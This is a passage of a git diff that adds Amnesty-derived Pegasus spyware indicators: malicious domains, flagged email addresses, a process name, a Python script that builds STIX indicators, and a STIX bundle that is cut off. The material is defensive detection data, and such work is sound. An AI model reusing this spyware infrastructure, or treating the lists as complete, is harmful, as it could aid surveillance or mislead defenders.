+nomorewarnow.com +noodlegray.com +noonstore.sale +noor-alhedaya.com +normal-brain.com +normalseason.com +normal-strength.com +nosalternatives.com +nosemorningnine.com +nothernkivu.com +notificationsneeded.com +noti-global.com +noti-hot.com +noti-hoy.co +notisms.net +notresante-infos.com +nouveau-president.com +nouvelles247.com +noveletters.com +novoicenoprob.net +novosti247.com +now-online.net +nsoqa.com +nuevaidea.co +objectreduction.com +odnoklass-profile.com +offresimmobilier.com +offspringperform.net +ok-group.org +old-glasses.net +oldmywater.com +oneadjump.com +one-isnot-enough.com +oneleadingchat.com +onetreeinheaven.com +online-dailynews.com +onlinefreework.com +online-loading.com +onlineshopzm.com +onlycart.net +onlygossip.info +only-news.net +onlytoday.biz +onlywebsite.org +onthegoodtime.com +ooredoodeals.com +openingquestion.org +operatingnews.com +operations-delivery.com +operations-shifts.com +opera-van.com +oplata-shtraf.info +opposedarrangement.net +optionalshift.online +optionstoreplace.com +orange-updates.com +organicdiamonds.net +ourorder.info +ourperfume.net +outgoingurl.com +outletsaroundme.com +outletstore.tech +page-host.net +page-info.com +pageisloading.net +pageredirect.co +pageupdate.co +painruncart.com +painting-walls.com +panelbreed.com +papers2go.co +papervoice.net +park4free.info +particularmechanic.net +parties-fun.com +pastesbin.com +pathtogo.net +pay-city.com +paynfly.info +pay-penalty.info +paywithcrytpo.com +pc-views.net +performinghost.com +permalinking.com +phonemetrics.co +phonering4you.com +phonestats.net +photo-afisha.net +photo-my.net +physicalcheetah.com +pickcard.info +pickuchu.com +picture4us.com +pincattape.com +pine-sales.com +pizzatoyourplace.com +planeocean.com +playfantasticsplastic.com +playwithusonline.com +pleaseusenew.com +pleaseusenew.net +pochta-info.com +politica504.com +politicalpress.org +politiques-infos.info +popagency.net +popularmessages.net +port-connection.com +portredirect.net +possibilitytotransfer.com +postainf.net +posta.news +pourcentfilers.com +poweredbycpanel.com +poweredlock.com +ppcisdead.com +pprocessor.net +practical-basis.net +practicehazard.com +preferenceviews.com +preferring.org +presidentialagent.com +preventadmission.com +preventsusing.com +pride-industry.com +pride-industry.net +pridetomyself.net +prikol-girls.com +primarystrike.net +prioritytrail.net +privo7799add.net +productsall.net +productsview.co +projectgoals.net +promosdereve.com +promotionlove.co +proudmorale.com +pub-dns.com +publishbig.net +puffyteddybear.com +purchaseusingcoins.com +purple-enveloppe.com +puttylearning.com +qaintqa.com +qaoffers.net +qualityfeeling.net +quitmyjob.xyz +quota-reader.net +quran-quote.com +rainingcats.net +raininscreen.com +randomlane.net +rapidredirecting.com +raresound.org +raw-console.com +reachcomputer.com +readingbooksnow.com +readirectly.com +realmythtrend.com +receiptpending.net +reception-desk.net +recordinglamping.com +redcrossworld.com +redemptionphrase.com +redirect2url.net +redirectchannel.net +redirectcheck.net +redirect-connection.com +redirectconnection.net +redirectdoor.com +redirecteur.net +redirectgate.com +redirectingpage.net +redirecting-url.com +redirectingurl.net +redirectingurl.org +redirection-url.net +redirectit.net +redirectking.net +redirect-link.com +redirectload.com +redirectmotion.org +redirect-net.com +redirectnet.net +redirectool.com +redirect-protocol.com +redirectprotocol.net +redirect-service.net +redirectshare.com +redirect-systems.com +redirect-traffic.net +redirect-tunnel.net +redirect-webpage.net +redirectweburl.com +redirigir.net +redirstats.com +redstarnews.net +reflectextension.net +regionews.net +regularhours.net +reklamas.info +related-ads.com +relatedspams.net +reloading-page1.com +reloadinput.com +reloadpage.net +reload-url.com +reload-url.net +remove-client.com +remove-from-mailing-list.com +remove-from-mailinglist.com +remove-subscription.com +renewal-control.net +rentalindustries.com +rentmotors.net +research-archive.com +reseausocialsolutions.co +reservationszone.com +reseufun.com +resolutionsbox.com +restaurantsstar.com +results-house.net +revoke-dashboard.com +revolution-news.co +rewards-club.info +rhymeshey.com +righttriangle.net +roadwide.net +robotscan.net +rockbreakdown.com +rockmusic4u.com +rockstarpony.com +rosegoldjewerly.com +rosesforus.com +rss-me.com +russian4u.net +sabafon.info +safecrusade.com +safe-mondays.net +saladsaroundme.com +sale-2019.com +saltyapplepie.com +same-old.net +savemoretime.co +saveurday.net +scannerservices.net +scaryaudience.com +scriptincluded.com +scriptsinstallers.com +searchjustdont.net +searchunit.net +sec-checker.com +secretgirlfriend.net +secure-access10.mx +securedloading.com +securedlogin.org +secured-url.net +securesmsing.com +secureyouradd.com +securisurf.com +securlaw.com +select-edition.net +send2url.com +sendhtml.net +sendingurl.com +sendingurl.net +sergek.info +seriousprotection.net +services-sync.com +service-update.online +servingshade.com +severalheroes.com +sharepassageset.com +shia-voice.com +shipment-status.org +shoppingdailydeals.net +short-address.com +shortfb.com +shortredirect.com +shtraf.info +shuturl.com +signpetition.co +silverodgone.com +simplycode.co +site-lock.net +site-redirecting.com +skillsforest.net +smallperfumerain.com +smallridebar.com +smarttarfi.com +smokeshowshoe.com +smoothurl.com +sms-center.info +smscentro.com +smser.net +smsmensaje.mx +sms-sending.net +sms-zone.org +snoweverywhere.com +soccerstreamingstars.com +social-artist.net +social-exercise.com +social-life.info +social-rights.com +sockstubename.com +somewarmremember.com +somuchrain.com +so-this-is.com +sparepresence.com +specialgifts4all.com +speechenforce.com +speedservicenow.com +spiritualbrakes.com +sportssaint.net +sportupdates.info +sportupdates.online +sputnik-news.info +squaretables.net +sslbind.com +standartsheet.com +standstock.net +starbuckscoffeeweb.com +starreturned.com +stars4sale.co +start2playnow.com +starting-from0.com +startupsservices.net +stationfunds.net +statisticsdb.net +statsads.co +statsupplier.com +staysystem.net +stopmysms.com +stopsms.biz +storageseminar.net +storelive.co +strangegloom.net +strategyroles.com +suitcasesmellnice.com +summermover.com +sunday-deals.com +sunnydaylight.com +sunrise-brink.net +sunsetdnsnow.com +superlinks4u.com +supportonline4me.com +surprising-sites.com +sweetcup.co +sweet-water.org +sync-cdn.com +syncingprocess.com +syncmap.org +systemtrees.com +tablereservation.info +tahmilmilafate.com +tahmilmilafate.info +takecarhomes.com +takemallelectric.com +takethat.co +talabatt.net +tastyteaflavors.com +teachskate.com +techhelping.net +telangana-news24.com +telecom-info.com +telephonequality.com +template-iso.net +tengrinews.co +tentrosegain.com +thainews.asia +thankstossl.com +theappanalytics.com +theastafrican.com +thebestclassicalmusic.net +thecoffeeilove.com +thefuturearticle.net +thehighesttemple.com +thehoteloffers.com +the-only-way-out.com +theredirect.net +theshopclub.org +thesimplestairs.com +thespaclub.net +theway2get.com +thoughtfulbundle.com +tibetnews365.net +ticket-aviata.info +ticket-selections.com +tiketon.info +timelesscelebrity.com +timeofflife.com +tinyurler.com +tlgr-me.org +tobepure.com +todaysdeals4u.com +todoinfonet.com +toggletools.com +tommyfame.com +tomorrowpastno.com +tookcheckout.com +top100vidz.com +top10gifts4men.com +top10leadsgen.com +topadblocker.net +topbraingames4u.com +topcontactco.com +topoems.com +topten-news.info +touristvaca.com +towebsite.net +track-your-fedex-package.com +trackyourfedexpackage.net +track-your-fedex-package.org +trade-agreement.com +tradeexchanging.com +traffic-pay.com +traffic-updates.info +transferbase.co +transferkeep.com +transferlights.com +transfer-rate.com +travel-foryou.online +travelight.online +traveltogether.link +trendsymbol.net +trialvariable.net +trianglerank.net +tricksinswiss.com +trililihihi.com +tripleclickpays.com +t-support.net +tunnelprotocol.net +turismo-aqui.com +turkeynewsupdates.com +turkishairines.info +tvshowcusting.com +twiitter.com.mx +uaenews.online +uidebol.info +umbrellacover.net +unavailableentry.com +unionofteenagers.com +uniquesite.co +univision.click +un-limitededitions.com +unlockaccount.net +unonoticias.net +unsubscribed.co +unsubscribeinhere.com +unsubscribe-now.net +untoldinfo.net +unusualneighbor.com +updateapps.net +updatedchargers.com +updatedcharges.net +updating-link.com +updatingpage.com +updating-url.com +updating-url.net +updatingwebpage.com +upgrade-sim-card.com +upkeepno.com +upload-now.net +uptownfun.co +urbestfriends.com +url2all.net +urlconfig.net +url-configure.com +urlconnection.net +urldefender.net +url-direct.com +url-hoster.com +url-loading.com +urlpage-redirect.com +urlpush.net +url-redirect.com +url-redirect.net +urlredirect.net +urlregistrar.net +urlreload.net +urlscanner.net +urlsync.com +urlupdates.com +urlviaweb.com +urspanishteacher.net +user-registration.com +utensils.pro +vamizi.info +vanillaandcream.com +varietyjobspaid.org +varietyregistrar.com +vastdealsnow.com +vault-encryption.com +verify-app.online +videosdownload.co +videotubbe.net +vider-image.com +viedechretien.org +vie-en-islam.com +viewhdvideos.com +viewstracker.com +vipmasajes.com +viva-droid.com +vivrechezsoi.info +vkan-profile.com +volcanodistance.com +volcanosregion.com +waffleswithnutella.com +waitingtoload.com +walkerpost.net +walkhatclock.com +wallagainsthall.com +walltome.com +wasted-nights.com +waterforplants.net +watersport4u.net +weakdistance.com +weather4free.com +weatherapi.co +webadv.co +web-check.co +web-config.org +web-developper.net +web-domain.net +webexaminer.net +web-hoster.co +web-loading.com +web-loading.net +web-only.net +web-page.co +webpageupdate.co +webprotector.co +webprotocol.net +webresourcer.com +web-scanner.co +websconnector.co +websiteconnecting.com +websiteeco.com +websitereconnecting.com +websites4yourhost.com +websitetosubmit.com +web-spider.net +webstrings.net +websupporter.co +webtunnels.net +webupdater.net +web-url.net +web-viewer.online +webview-redirect.com +weddingbandsoft.com +wedding-strategy.com +welcomehosting.net +welovebigcakes.com +welovelollipops.com +welovemorningcoffees.com +wewantflowersnow.com +whatcanidowithbirds.com +whatsapp-app.com +whatsappsupport.net +whats-new.org +whereismybonus.com +whereismyhand.com +whereismytree.net +whereisthehat.com +whynotyesterday.com +whypillyellow.com +willpurpleshe.com +windyone.net +winfoxflip.com +winter-balance.com +wintertimes.co +wishdownget.com +without-additional.com +witness-delay.com +wonderfulinsights.com +woodhome4u.com +wordstore.net +working-online.net +workshopmanager.net +wraptext.net +xchange4u.net +xchangerates247.net +xn--nissn-3jc.com +xn--noki-t5b.com +xn--telegrm-qbd.com +xtremelivesupport.com +y0utube.com.mx +youaresostupid.net +youcantpass.com +youintelligence.com +youliehow.com +yourbestclothes.com +yourbestefforts.com +yourbestvaca.com +yourgreatestsmartphone.com +yourhotelreservation.info +yourlastchance.net +yousunhard.com +yummyfoodallover.com +zednewszm.com +zm-banks.com +zm-weather.com +zsports-info.com diff --git a/data/ioc/spyware/amnesty/2021-07-18_nso/emails.txt b/data/ioc/spyware/amnesty/2021-07-18_nso/emails.txt new file mode 100644 index 0000000..39ea1fb --- /dev/null +++ b/data/ioc/spyware/amnesty/2021-07-18_nso/emails.txt @@ -0,0 +1,29 @@ +ameliehaggart@gmail.com +arvidamelia1@gmail.com +bakkere268@gmail.com +bekkerfredi@gmail.com +benjiburns8@gmail.com +bergers.o79@gmail.com +bogaardlisa803@gmail.com +emmadavies8266@gmail.com +emmaholm575@gmail.com +filip.bl82@gmail.com +herbruud2@gmail.com +jessicadavies1345@outlook.com +kleinleon1987@gmail.com +krystynajasinska86@gmail.com +k.williams.enny74@gmail.com +lee.85.holland@gmail.com +linakeller2203@gmail.com +martin.vdm78@gmail.com +meliastahl@gmail.com +mitchkremer14@outlook.com +naomiwerff772@gmail.com +oskarschalcher@outlook.com +smithsonrobert080@gmail.com +sylianosliatsos84@gmail.com +taylorjade0303@gmail.com +vincent.dahl76@gmail.com +weertlaura1@outlook.com +yvonne.wechsler61@gmail.com +natalymarinova@proton.me \ No newline at end of file diff --git a/data/ioc/spyware/amnesty/2021-07-18_nso/files.txt b/data/ioc/spyware/amnesty/2021-07-18_nso/files.txt new file mode 100644 index 0000000..f672789 --- /dev/null +++ b/data/ioc/spyware/amnesty/2021-07-18_nso/files.txt @@ -0,0 +1 @@ +roleaccountd.plist diff --git a/data/ioc/spyware/amnesty/2021-07-18_nso/generate_stix.py b/data/ioc/spyware/amnesty/2021-07-18_nso/generate_stix.py new file mode 100644 index 0000000..0d16b07 --- /dev/null +++ b/data/ioc/spyware/amnesty/2021-07-18_nso/generate_stix.py @@ -0,0 +1,48 @@ +import sys +import os +from stix2.v21 import (Indicator, Malware, Relationship, Bundle, DomainName) + + +if __name__ == "__main__": + if os.path.isfile("pegasus.stix2"): + os.remove("pegasus.stix2") + + with open("domains.txt") as f: + domains = list(set([a.strip() for a in f.read().split()])) + + with open("files.txt") as f: + filenames = list(set([a.strip() for a in f.read().split()])) + + with open("processes.txt") as f: + processes = list(set([a.strip() for a in f.read().split()])) + + with open("emails.txt") as f: + emails = list(set([a.strip() for a in f.read().split()])) + + res = [] + malware = Malware(name="Pegasus", is_family=False, description="IOCs for Pegasus") + res.append(malware) + for d in domains: + i = Indicator(indicator_types=["malicious-activity"], pattern="[domain-name:value='{}']".format(d), pattern_type="stix") + res.append(i) + res.append(Relationship(i, 'indicates', malware)) + + for p in processes: + i = Indicator(indicator_types=["malicious-activity"], pattern="[process:name='{}']".format(p), pattern_type="stix") + res.append(i) + res.append(Relationship(i, 'indicates', malware)) + + for f in filenames: + i = Indicator(indicator_types=["malicious-activity"], pattern="[file:name='{}']".format(f), pattern_type="stix") + res.append(i) + res.append(Relationship(i, 'indicates', malware)) + + for e in emails: + i = Indicator(indicator_types=["malicious-activity"], pattern="[email-addr:value='{}']".format(e), pattern_type="stix") + res.append(i) + res.append(Relationship(i, 'indicates', malware)) + + bundle = Bundle(objects=res) + with open("pegasus.stix2", "w+") as f: + f.write(str(bundle)) + print("pegasus.stix2 file created") diff --git a/data/ioc/spyware/amnesty/2021-07-18_nso/pegasus.stix2 b/data/ioc/spyware/amnesty/2021-07-18_nso/pegasus.stix2 new file mode 100644 index 0000000..24b9be4 --- /dev/null +++ b/data/ioc/spyware/amnesty/2021-07-18_nso/pegasus.stix2 @@ -0,0 +1 @@ +{"type": "bundle", "id": "bundle--34d0032b-b342-4076-955d-6c0020fe693a", "objects": [{"type": "malware", "spec_version": "2.1", "id": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d", "created": "2024-01-26T21:28:21.013109Z", "modified": "2024-01-26T21:28:21.013109Z", "name": "Pegasus", "description": "IOCs for Pegasus", "is_family": false}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--05b7c427-1452-437e-a19e-32590edf60c3", "created": "2024-01-26T21:28:21.013288Z", "modified": "2024-01-26T21:28:21.013288Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='weather4free.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.013288Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--657ec923-bcf2-4d19-8dc5-1290ad89df56", "created": "2024-01-26T21:28:21.018127Z", "modified": "2024-01-26T21:28:21.018127Z", "relationship_type": "indicates", "source_ref": "indicator--05b7c427-1452-437e-a19e-32590edf60c3", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c655f594-d131-44a0-9da8-8a2ed41fd1ee", "created": "2024-01-26T21:28:21.01893Z", "modified": "2024-01-26T21:28:21.01893Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='smscentro.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.01893Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2a3306cd-b27a-4a32-9a44-f06380983ad6", "created": "2024-01-26T21:28:21.019545Z", "modified": "2024-01-26T21:28:21.019545Z", "relationship_type": "indicates", "source_ref": "indicator--c655f594-d131-44a0-9da8-8a2ed41fd1ee", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--75512940-6712-421e-97f6-55835fde1b2b", "created": "2024-01-26T21:28:21.01966Z", "modified": "2024-01-26T21:28:21.01966Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='tookcheckout.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.01966Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5ed5dc69-6bed-4bf7-be14-d090cbbc8075", "created": "2024-01-26T21:28:21.020235Z", "modified": "2024-01-26T21:28:21.020235Z", "relationship_type": "indicates", "source_ref": "indicator--75512940-6712-421e-97f6-55835fde1b2b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e419f008-2a62-478a-b6ab-dad34e7d78a5", "created": "2024-01-26T21:28:21.020342Z", "modified": "2024-01-26T21:28:21.020342Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='oneleadingchat.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.020342Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--db9e576b-5fcd-472e-8321-ff9a02143f92", "created": "2024-01-26T21:28:21.020973Z", "modified": "2024-01-26T21:28:21.020973Z", "relationship_type": "indicates", "source_ref": "indicator--e419f008-2a62-478a-b6ab-dad34e7d78a5", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--bacffb7d-d4b2-4b28-a0aa-e9471274638f", "created": "2024-01-26T21:28:21.021075Z", "modified": "2024-01-26T21:28:21.021075Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='newenvelope.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.021075Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--af116aa3-948a-4c22-b192-a5637e9dd50f", "created": "2024-01-26T21:28:21.021658Z", "modified": "2024-01-26T21:28:21.021658Z", "relationship_type": "indicates", "source_ref": "indicator--bacffb7d-d4b2-4b28-a0aa-e9471274638f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--849668ac-7bda-4ca1-a8c2-18eb35b4828e", "created": "2024-01-26T21:28:21.021762Z", "modified": "2024-01-26T21:28:21.021762Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='pincattape.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.021762Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e95b0fd7-480a-456b-b9cb-5be917e50fd3", "created": "2024-01-26T21:28:21.022233Z", "modified": "2024-01-26T21:28:21.022233Z", "relationship_type": "indicates", "source_ref": "indicator--849668ac-7bda-4ca1-a8c2-18eb35b4828e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7963682f-de75-4358-bdc5-bd05c378ef52", "created": "2024-01-26T21:28:21.022334Z", "modified": "2024-01-26T21:28:21.022334Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='in2date.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.022334Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--83c9762a-f6c6-4cb9-b4db-cba8714078c3", "created": "2024-01-26T21:28:21.022837Z", "modified": "2024-01-26T21:28:21.022837Z", "relationship_type": "indicates", "source_ref": "indicator--7963682f-de75-4358-bdc5-bd05c378ef52", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--188e8ac8-b07b-4fa6-a40c-a13d71dd7901", "created": "2024-01-26T21:28:21.022937Z", "modified": "2024-01-26T21:28:21.022937Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='hot-motors.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.022937Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--40b02db1-794d-4bfb-ba7e-c7c819ce0e41", "created": "2024-01-26T21:28:21.023446Z", "modified": "2024-01-26T21:28:21.023446Z", "relationship_type": "indicates", "source_ref": "indicator--188e8ac8-b07b-4fa6-a40c-a13d71dd7901", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--dcf59144-741d-4dcc-94e9-6815e917b771", "created": "2024-01-26T21:28:21.023547Z", "modified": "2024-01-26T21:28:21.023547Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='reseufun.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.023547Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6f8f6cff-21b5-43cd-a66d-07d63f3a5e24", "created": "2024-01-26T21:28:21.024094Z", "modified": "2024-01-26T21:28:21.024094Z", "relationship_type": "indicates", "source_ref": "indicator--dcf59144-741d-4dcc-94e9-6815e917b771", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--af814e46-73b8-4e5d-81b5-7f6bf2dbc418", "created": "2024-01-26T21:28:21.024196Z", "modified": "2024-01-26T21:28:21.024196Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='redirectnet.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.024196Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--21a3283e-9d9c-4f76-9f29-c72f9b2dc6b2", "created": "2024-01-26T21:28:21.024619Z", "modified": "2024-01-26T21:28:21.024619Z", "relationship_type": "indicates", "source_ref": "indicator--af814e46-73b8-4e5d-81b5-7f6bf2dbc418", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--beb5818d-b50f-445d-9891-233f0654268a", "created": "2024-01-26T21:28:21.024719Z", "modified": "2024-01-26T21:28:21.024719Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='cloudads.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.024719Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--80c7aabd-70cd-4cb5-9889-ac1837b87ff5", "created": "2024-01-26T21:28:21.025182Z", "modified": "2024-01-26T21:28:21.025182Z", "relationship_type": "indicates", "source_ref": "indicator--beb5818d-b50f-445d-9891-233f0654268a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--eb587b37-189b-4975-8b72-7f40732324ae", "created": "2024-01-26T21:28:21.025281Z", "modified": "2024-01-26T21:28:21.025281Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='pleaseusenew.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.025281Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8b8cbf01-2f0a-49ae-8964-5a0ace03b0ec", "created": "2024-01-26T21:28:21.025704Z", "modified": "2024-01-26T21:28:21.025704Z", "relationship_type": "indicates", "source_ref": "indicator--eb587b37-189b-4975-8b72-7f40732324ae", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a80de221-b50e-439d-b6a1-a39aa91867d4", "created": "2024-01-26T21:28:21.025803Z", "modified": "2024-01-26T21:28:21.025803Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='dns-1.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.025803Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--836b446a-5f7a-4020-980e-93a71588cbdf", "created": "2024-01-26T21:28:21.026307Z", "modified": "2024-01-26T21:28:21.026307Z", "relationship_type": "indicates", "source_ref": "indicator--a80de221-b50e-439d-b6a1-a39aa91867d4", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0834d2f9-f414-4118-a2b9-cf253b1f49bd", "created": "2024-01-26T21:28:21.026407Z", "modified": "2024-01-26T21:28:21.026407Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='googleplay-store.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.026407Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0047d87a-0fc1-46ee-8c34-dad103571080", "created": "2024-01-26T21:28:21.026917Z", "modified": "2024-01-26T21:28:21.026917Z", "relationship_type": "indicates", "source_ref": "indicator--0834d2f9-f414-4118-a2b9-cf253b1f49bd", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1ba8702c-a3b0-49d2-818c-63f519ffce8c", "created": "2024-01-26T21:28:21.027015Z", "modified": "2024-01-26T21:28:21.027015Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='login-service.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.027015Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7d5a6320-b4f7-4bbf-b7f5-b8c578f8a5de", "created": "2024-01-26T21:28:21.027486Z", "modified": "2024-01-26T21:28:21.027486Z", "relationship_type": "indicates", "source_ref": "indicator--1ba8702c-a3b0-49d2-818c-63f519ffce8c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--3808d51d-0ae4-4e9e-a618-08739296d04b", "created": "2024-01-26T21:28:21.027585Z", "modified": "2024-01-26T21:28:21.027585Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='ad-switcher.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.027585Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--cde452f0-9559-4fb5-82e8-50b239d74da8", "created": "2024-01-26T21:28:21.028046Z", "modified": "2024-01-26T21:28:21.028046Z", "relationship_type": "indicates", "source_ref": "indicator--3808d51d-0ae4-4e9e-a618-08739296d04b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--3847c47c-4112-43a2-aaba-c70fdbfd624e", "created": "2024-01-26T21:28:21.028144Z", "modified": "2024-01-26T21:28:21.028144Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='buypresent4me.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.028144Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3524f71a-6842-477b-b05e-74d452f64e51", "created": "2024-01-26T21:28:21.02861Z", "modified": "2024-01-26T21:28:21.02861Z", "relationship_type": "indicates", "source_ref": "indicator--3847c47c-4112-43a2-aaba-c70fdbfd624e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--14085e2e-6359-4b68-a382-123b64587f36", "created": "2024-01-26T21:28:21.028711Z", "modified": "2024-01-26T21:28:21.028711Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='staysystem.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.028711Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e099a87c-2f03-467e-804a-576c0ba6d7ac", "created": "2024-01-26T21:28:21.029212Z", "modified": "2024-01-26T21:28:21.029212Z", "relationship_type": "indicates", "source_ref": "indicator--14085e2e-6359-4b68-a382-123b64587f36", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--130ed9ca-7fd5-4894-9e19-08aba351b896", "created": "2024-01-26T21:28:21.029315Z", "modified": "2024-01-26T21:28:21.029315Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='around-theglobe.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.029315Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--94c79862-aa96-4136-83cb-163f2e32560a", "created": "2024-01-26T21:28:21.029784Z", "modified": "2024-01-26T21:28:21.029784Z", "relationship_type": "indicates", "source_ref": "indicator--130ed9ca-7fd5-4894-9e19-08aba351b896", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0285a37f-5406-4130-b306-6befc33f1d49", "created": "2024-01-26T21:28:21.029884Z", "modified": "2024-01-26T21:28:21.029884Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='nightevents.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.029884Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0b2a5fb7-e659-4118-a037-df568f07e7e5", "created": "2024-01-26T21:28:21.030301Z", "modified": "2024-01-26T21:28:21.030301Z", "relationship_type": "indicates", "source_ref": "indicator--0285a37f-5406-4130-b306-6befc33f1d49", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c15c4ca1-00cd-4eb5-8b77-1384964738d5", "created": "2024-01-26T21:28:21.030398Z", "modified": "2024-01-26T21:28:21.030398Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='select-edition.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.030398Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--91914711-2a25-4c49-9434-b0de1608a1a7", "created": "2024-01-26T21:28:21.030815Z", "modified": "2024-01-26T21:28:21.030815Z", "relationship_type": "indicates", "source_ref": "indicator--c15c4ca1-00cd-4eb5-8b77-1384964738d5", "target_ref": 